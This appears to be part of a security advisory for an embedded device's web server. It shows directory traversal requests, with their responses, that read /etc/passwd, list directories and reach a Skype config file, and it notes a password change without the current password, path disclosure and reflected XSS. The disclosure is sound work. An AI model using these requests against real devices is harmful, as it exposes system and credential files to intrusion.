============ Vulnerability Overview: ============

* directory traversal: 

Access local files of the device. You need to be authenticated or you have to find other methods for accessing the device.

Request:
http://192.168.178.103/../../etc/passwd

Response:
HTTP/1.0 200 OK
Content-type: text/plain
Expires: Sat, 24 May 1980.7:00:00.GMT
Pragma: no-cache
Server: simple httpd 1.0

root:x:0:0:root:/root:/bin/bash
demo:x:5000:100:Demo User:/home/demo:/bin/bash
nobody:x:65534:65534:Nobody:/htdocs:/bin/bash



If you request a directory you will get a very nice directory listing for browsing through the filesystem:
/../../var/

HTTP/1.0 200 OK
Content-type: text/html
Expires: Sat, 24 May 1980.7:00:00.GMT
Pragma: no-cache
Server: simple httpd 1.0

&#60;H1&#62;Index of ../../var/&#60;/H1&#62;

&#60;p&#62;&#60;a href=&#34;/../../var/.&#34;&#62;.&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/..&#34;&#62;..&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/.Skype&#34;&#62;.Skype&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/jffs2&#34;&#62;jffs2&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/htdocs&#34;&#62;htdocs&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/cnxt&#34;&#62;cnxt&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/ppp&#34;&#62;ppp&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/conf&#34;&#62;conf&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/bin&#34;&#62;bin&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/usr&#34;&#62;usr&#60;/a&#62;&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;/../../var/tmp&#34;&#62;tmp&#60;/a&#62;&#60;/p&#62;

So with this information you are able to access the skype configuration with the following request:
/../../var/.Skype/&#60;user&#62;/config.xml

* For changing the current password there is no request to the current password 

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

* local path disclosure: 

Request:
http://192.168.178.103/%3C/

Response:
The requested URL &#39;/var/htdocs/%3C/&#39; was not found on this server.

* reflected Cross Site Scripting 

Appending scripts to the URL reveals that this is not properly validated for malicious input.
